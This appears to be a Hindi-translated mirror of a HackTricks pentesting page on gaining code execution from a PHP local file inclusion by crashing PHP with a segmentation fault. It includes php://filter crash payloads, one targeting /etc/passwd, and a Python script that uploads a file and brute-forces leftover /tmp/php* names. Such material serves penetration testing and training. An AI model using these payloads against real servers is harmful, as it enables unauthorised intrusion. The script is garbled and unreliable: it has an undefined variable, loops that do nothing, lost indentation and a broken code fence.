Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md

6.3 KiB
Raw Blame History

LFI2RCE के माध्यम से सेगमेंटेशन फॉल्ट

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

लेखनुसार [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (दूसरा भाग) और [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), निम्नलिखित पेलोड्स ने PHP में सेगमेंटेशन फॉल्ट का कारण बना: ```php // PHP 7.0 include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2 include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

आपको पता होना चाहिए कि यदि आप एक **POST** अनुरोध **भेजते हैं** जिसमें एक **फाइल** शामिल होती है, तो PHP `/tmp/php<कुछ>` में एक **अस्थायी फाइल बनाएगा** जिसमें उस फाइल की सामग्री होगी। यह फाइल अनुरोध संसाधित होने के बाद **स्वतः ही मिट जाएगी**।

यदि आपको एक **LFI** मिलती है और आप PHP में एक segmentation fault को **ट्रिगर** करने में सफल होते हैं, तो **अस्थायी फाइल कभी नहीं मिटेगी**। इसलिए, आप उसे **LFI** भेद्यता के साथ **खोज** सकते हैं जब तक कि आप उसे नहीं ढूंढ लेते और मनमाना कोड निष्पादित कर सकते हैं।

परीक्षण के लिए आप docker इमेज [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) का उपयोग कर सकते हैं।
```python
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: